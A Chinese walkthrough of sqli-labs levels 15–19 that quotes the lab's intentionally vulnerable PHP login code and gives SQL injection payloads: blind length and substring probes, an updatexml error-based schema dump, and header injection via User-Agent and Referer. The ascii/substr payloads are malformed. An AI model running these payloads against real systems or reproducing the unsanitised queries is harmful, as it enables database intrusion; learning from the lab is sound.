本次通关,直接从源码分析:
第15关:
本关即使输入的username和password正确,也只会显示一个成功图片。
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
我们看源码,post提交后,获取的uname,passwd没有处理,直接带入查询。
所以盲注
'or(length(database()))=8#
'or(ascii()substr((select database()),1,1))#
慢慢爆出库名
第16关:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
第十六关在post提交后,给加上了" ",并且在sql查询语句中,还额外加了(),所以和第十五关类似,只是在闭合时,我们需要加 "和)
”)or(length(database()))=8#
")or(ascii()substr((select database()),1,1))#
第17关:
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
会调用check_input函数对uname进行检查过滤,但是没有对passwd过滤,所以我们在passwd处进行注入:
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
代码的查询语句,如果查询到,则进行update操作
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
echo $update;
mysql_query($update);
echo "<br>";
我们用 ' 来闭和$passwd,用#来注释掉后面的内容,
1'and(updatexml(1,concat(1,(select schema_name from information_schema.schemata limit 0,1)),1))#
就可以查询到库名等数据;
第18关:
登陆成功会显示请求头中的user-agent:的内容
$uagent = $_SERVER['HTTP_USER_AGENT'];
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
会对post传进来的uname和passwd过滤
$IP = $_SERVER['REMOTE_ADDR'];是不能伪造的,
$uagent = $_SERVER['HTTP_USER_AGENT'];所以我们只能bp抓包修改user_agent的内容
就可以爆出库名等信息。
第19关:
$uagent = $_SERVER['HTTP_REFERER'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
第19关和第18关一样,18关是$_SERVER['HTTP_USER_AGENT'];中的内容,19关是$_SERVER['HTTP_REFERER'];中的内容,抓包改就完事了,不再赘述、